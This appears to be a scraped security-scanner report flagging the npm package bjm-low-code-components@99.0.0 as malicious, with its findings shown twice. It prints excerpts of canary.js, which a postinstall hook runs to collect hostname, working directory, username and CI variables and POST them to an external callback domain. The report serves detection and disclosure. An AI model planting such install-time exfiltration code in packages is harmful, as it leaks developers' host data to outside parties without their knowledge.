bjm-low-code-components@99.0.0: Malicious npm security report | LPM Firewall

Loading npm security reports…

bjm-low-code-components@99.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node canary.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

canary.jsView file

1const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

canary.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> canary.js L1: const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

canary.jsView on unpkg · L1

1const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

canary.jsView on unpkg · L1

1const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

canary.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.postinstall -> canary.js L1: const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

canary.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> canary.js const http = require('http'); const data = JSON.stringify({ const req = http.request({ host: '[redacted].oastify.com', // e.g. xxxxx.oast.fun method: 'POST', req.write(data);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

canary.jsView on unpkg

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node canary.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

canary.jsView file

1const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

canary.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> canary.js L1: const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

canary.jsView on unpkg · L1

1const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

canary.jsView on unpkg · L1

1const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

canary.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.postinstall -> canary.js L1: const http = require('http'); L2: const data = JSON.stringify({ L3: host: require('os').hostname(), L4: cwd: process.cwd(), L5: user: require('os').userInfo().username, L6: env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null } L7: }); ... L13: }); L14: req.write(data); L15: req.end();

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

canary.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> canary.js const http = require('http'); const data = JSON.stringify({ const req = http.request({ host: '[redacted].oastify.com', // e.g. xxxxx.oast.fun method: 'POST', req.write(data);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

canary.jsView on unpkg